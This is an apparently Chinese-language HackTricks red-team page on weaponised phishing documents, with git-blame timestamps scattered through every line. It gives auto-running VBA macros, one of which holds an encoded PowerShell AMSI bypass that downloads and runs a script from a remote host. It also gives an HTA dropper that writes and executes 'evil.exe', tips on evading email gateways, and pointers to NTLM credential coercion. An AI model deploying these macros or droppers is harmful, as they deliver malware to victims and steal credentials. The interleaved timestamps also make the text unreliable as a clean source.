2024-02-07 05:49:16 +00:00
|
|
|
|
# 钓鱼文件与文档
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
|
2024-02-09 01:27:24 +00:00
|
|
|
|
<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-02-09 01:27:24 +00:00
|
|
|
|
* 您在**网络安全公司**工作吗？ 想要看到您的**公司在HackTricks中宣传**吗？ 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
|
|
|
|
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
|
|
|
|
|
|
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
|
|
|
|
|
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
|
|
|
|
|
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
|
</details>
|
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 办公文档
|
2022-09-03 09:30:58 +00:00
|
|
|
|
|
2024-02-08 03:56:12 +00:00
|
|
|
|
Microsoft Word在打开文件之前执行文件数据验证。数据验证以数据结构识别的形式进行，针对OfficeOpenXML标准。如果在数据结构识别过程中发生任何错误，正在分析的文件将不会被打开。
|
2020-12-21 17:07:56 +00:00
|
|
|
|
|
2024-02-08 03:56:12 +00:00
|
|
|
|
通常，包含宏的Word文件使用`.docm`扩展名。但是，可以通过更改文件扩展名来重命名文件，并仍然保留其执行宏的功能。\
|
|
|
|
|
|
例如，RTF文件不支持宏，但将DOCm文件重命名为RTF将由Microsoft Word处理，并具有执行宏的能力。\
|
|
|
|
|
|
相同的内部机制适用于Microsoft Office套件中的所有软件（Excel、PowerPoint等）。
|
2020-12-21 17:07:56 +00:00
|
|
|
|
|
2024-02-08 03:56:12 +00:00
|
|
|
|
您可以使用以下命令检查哪些扩展名将由某些Office程序执行：
|
2020-12-21 17:07:56 +00:00
|
|
|
|
```bash
|
|
|
|
|
|
assoc | findstr /i "word excel powerp"
|
|
|
|
|
|
```
|
2024-02-07 05:49:16 +00:00
|
|
|
|
### 外部图片加载
|
2020-12-21 17:07:56 +00:00
|
|
|
|
|
2024-02-07 05:49:16 +00:00
|
|
|
|
前往：_插入 --> 快速部件 --> 字段_\
|
2024-02-09 01:27:24 +00:00
|
|
|
|
_**类别**：链接和引用，**字段名称**：includePicture，并**文件名或URL**：_ http://\<ip>/whatever
|
2020-12-21 17:07:56 +00:00
|
|
|
|
|
2022-05-01 13:25:53 +00:00
|
|
|
|
.png>)
|
2020-12-21 17:07:56 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 宏后门
|
2020-12-21 17:07:56 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
可以使用宏从文档中运行任意代码。
|
2022-09-03 09:30:58 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
#### 自动加载函数
|
2022-09-03 09:30:58 +00:00
|
|
|
|
|
2024-02-09 01:27:24 +00:00
|
|
|
|
它们越常见，杀毒软件检测到的可能性就越大。
|
2022-09-03 09:30:58 +00:00
|
|
|
|
|
|
|
|
|
|
* AutoOpen()
|
|
|
|
|
|
* Document\_Open()
|
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
#### 宏代码示例
|
2022-09-03 09:30:58 +00:00
|
|
|
|
```vba
|
2021-10-25 23:03:11 +00:00
|
|
|
|
Sub AutoOpen()
|
2023-08-03 19:12:22 +00:00
|
|
|
|
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
|
2021-10-25 23:03:11 +00:00
|
|
|
|
End Sub
|
|
|
|
|
|
```
|
|
|
|
|
|
|
2022-09-03 09:30:58 +00:00
|
|
|
|
```vba
|
|
|
|
|
|
Sub AutoOpen()
|
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
Dim Shell As Object
|
|
|
|
|
|
Set Shell = CreateObject("wscript.shell")
|
|
|
|
|
|
Shell.Run "calc"
|
2022-09-03 09:30:58 +00:00
|
|
|
|
|
|
|
|
|
|
End Sub
|
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
```vba
|
2020-12-21 17:07:56 +00:00
|
|
|
|
Dim author As String
|
|
|
|
|
|
author = oWB.BuiltinDocumentProperties("Author")
|
|
|
|
|
|
With objWshell1.Exec("powershell.exe -nop -Windowsstyle hidden -Command-")
|
2023-08-03 19:12:22 +00:00
|
|
|
|
.StdIn.WriteLine author
|
|
|
|
|
|
.StdIn.WriteBlackLines 1
|
2020-12-21 17:07:56 +00:00
|
|
|
|
```
|
|
|
|
|
|
|
2022-09-03 09:30:58 +00:00
|
|
|
|
```vba
|
|
|
|
|
|
Dim proc As Object
|
|
|
|
|
|
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
|
|
|
|
|
|
proc.Create "powershell <beacon line generated>
|
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
#### 手动删除元数据
|
2020-12-21 17:07:56 +00:00
|
|
|
|
|
2024-02-07 05:49:16 +00:00
|
|
|
|
转到 **文件 > 信息 > 检查文档 > 检查文档**，这将打开文档检查器。单击 **检查**，然后单击 **文档属性和个人信息** 旁边的 **全部删除**。
|
2022-09-03 09:30:58 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
#### 文档扩展名
|
2022-09-03 09:30:58 +00:00
|
|
|
|
|
2024-02-07 05:49:16 +00:00
|
|
|
|
完成后，选择 **另存为类型** 下拉菜单，将格式从 **`.docx`** 更改为 **Word 97-2003 `.doc`**。\
|
2024-02-09 01:27:24 +00:00
|
|
|
|
这样做是因为你 **无法将宏保存在 `.docx` 中**，而且对于启用宏的 **`.docm`** 扩展名存在 **污名**（例如，缩略图图标上有一个巨大的 `!`，一些网络/电子邮件网关会完全阻止它们）。因此，这个 **传统的 `.doc` 扩展名是最好的折衷方案**。
|
2022-09-03 09:30:58 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
#### 恶意宏生成器
|
2022-09-03 09:30:58 +00:00
|
|
|
|
|
|
|
|
|
|
* MacOS
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* [**macphish**](https://github.com/cldrn/macphish)
|
|
|
|
|
|
* [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
|
2022-09-03 09:30:58 +00:00
|
|
|
|
|
2024-02-07 05:49:16 +00:00
|
|
|
|
## HTA 文件
|
2022-09-03 09:30:58 +00:00
|
|
|
|
|
2024-02-08 03:56:12 +00:00
|
|
|
|
HTA 是一个 **结合了 HTML 和脚本语言（如 VBScript 和 JScript）** 的 Windows 程序。它生成用户界面并作为一个“完全受信任”的应用程序执行，没有浏览器安全模型的限制。
|
2022-09-03 09:30:58 +00:00
|
|
|
|
|
2024-02-07 05:49:16 +00:00
|
|
|
|
HTA 使用 **`mshta.exe`** 执行，通常 **与 Internet Explorer 一起安装**，使 **`mshta` 依赖于 IE**。因此，如果 IE 被卸载，HTA 将无法执行。
|
2022-12-03 17:35:56 +00:00
|
|
|
|
```html
|
|
|
|
|
|
<--! Basic HTA Execution -->
|
|
|
|
|
|
<html>
|
2023-08-03 19:12:22 +00:00
|
|
|
|
<head>
|
|
|
|
|
|
<title>Hello World</title>
|
|
|
|
|
|
</head>
|
|
|
|
|
|
<body>
|
|
|
|
|
|
<h2>Hello World</h2>
|
|
|
|
|
|
<p>This is an HTA...</p>
|
|
|
|
|
|
</body>
|
|
|
|
|
|
|
|
|
|
|
|
<script language="VBScript">
|
|
|
|
|
|
Function Pwn()
|
|
|
|
|
|
Set shell = CreateObject("wscript.Shell")
|
|
|
|
|
|
shell.run "calc"
|
|
|
|
|
|
End Function
|
|
|
|
|
|
|
|
|
|
|
|
Pwn
|
|
|
|
|
|
</script>
|
2022-12-03 17:35:56 +00:00
|
|
|
|
</html>
|
|
|
|
|
|
```
|
2022-09-03 09:30:58 +00:00
|
|
|
|
|
|
|
|
|
|
```html
|
2022-09-09 14:57:43 +00:00
|
|
|
|
<--! Cobal Strike generated HTA without shellcode -->
|
2022-09-03 09:30:58 +00:00
|
|
|
|
<script language="VBScript">
|
2023-08-03 19:12:22 +00:00
|
|
|
|
Function var_func()
|
|
|
|
|
|
var_shellcode = "<shellcode>"
|
|
|
|
|
|
|
|
|
|
|
|
Dim var_obj
|
|
|
|
|
|
Set var_obj = CreateObject("Scripting.FileSystemObject")
|
|
|
|
|
|
Dim var_stream
|
|
|
|
|
|
Dim var_tempdir
|
|
|
|
|
|
Dim var_tempexe
|
|
|
|
|
|
Dim var_basedir
|
|
|
|
|
|
Set var_tempdir = var_obj.GetSpecialFolder(2)
|
|
|
|
|
|
var_basedir = var_tempdir & "\" & var_obj.GetTempName()
|
|
|
|
|
|
var_obj.CreateFolder(var_basedir)
|
|
|
|
|
|
var_tempexe = var_basedir & "\" & "evil.exe"
|
|
|
|
|
|
Set var_stream = var_obj.CreateTextFile(var_tempexe, true , false)
|
|
|
|
|
|
For i = 1 to Len(var_shellcode) Step 2
|
|
|
|
|
|
var_stream.Write Chr(CLng("&H" & Mid(var_shellcode,i,2)))
|
|
|
|
|
|
Next
|
|
|
|
|
|
var_stream.Close
|
|
|
|
|
|
Dim var_shell
|
|
|
|
|
|
Set var_shell = CreateObject("Wscript.Shell")
|
|
|
|
|
|
var_shell.run var_tempexe, 0, true
|
|
|
|
|
|
var_obj.DeleteFile(var_tempexe)
|
|
|
|
|
|
var_obj.DeleteFolder(var_basedir)
|
|
|
|
|
|
End Function
|
|
|
|
|
|
|
|
|
|
|
|
var_func
|
|
|
|
|
|
self.close
|
2022-09-03 09:30:58 +00:00
|
|
|
|
</script>
|
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 强制 NTLM 认证
|
2020-12-21 17:07:56 +00:00
|
|
|
|
|
2024-02-09 01:27:24 +00:00
|
|
|
|
有几种**远程强制 NTLM 认证**的方法，例如，您可以向电子邮件或 HTML 添加**不可见图像**，用户将访问这些图像（甚至可能是 HTTP 中间人攻击？）。或者向受害者发送**文件地址**，只需**打开文件夹**就会**触发**认证。
|
2022-09-03 09:30:58 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
**在以下页面中查看这些想法和更多内容：**
|
2022-09-03 09:30:58 +00:00
|
|
|
|
|
|
|
|
|
|
{% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %}
|
|
|
|
|
|
[printers-spooler-service-abuse.md](../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md)
|
|
|
|
|
|
{% endcontent-ref %}
|
|
|
|
|
|
|
|
|
|
|
|
{% content-ref url="../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md" %}
|
|
|
|
|
|
[places-to-steal-ntlm-creds.md](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md)
|
|
|
|
|
|
{% endcontent-ref %}
|
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### NTLM 中继
|
2022-09-03 09:30:58 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
不要忘记，您不仅可以窃取哈希或认证，还可以**执行 NTLM 中继攻击**：
|
2021-08-10 14:04:23 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* [**NTLM 中继攻击**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
|
|
|
|
|
|
* [**AD CS ESC8（NTLM 中继到证书）**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
|
2024-02-09 01:27:24 +00:00
|
|
|
|
<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-02-09 01:27:24 +00:00
|
|
|
|
* 您在**网络安全公司**工作吗？ 想要在**HackTricks 中宣传您的公司**？ 或者想要访问**PEASS 的最新版本或下载 PDF 版本的 HackTricks**？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
|
* 探索我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
|
|
|
|
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
|
|
|
|
|
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注我**。
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享您的黑客技巧**。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
|
</details>
|
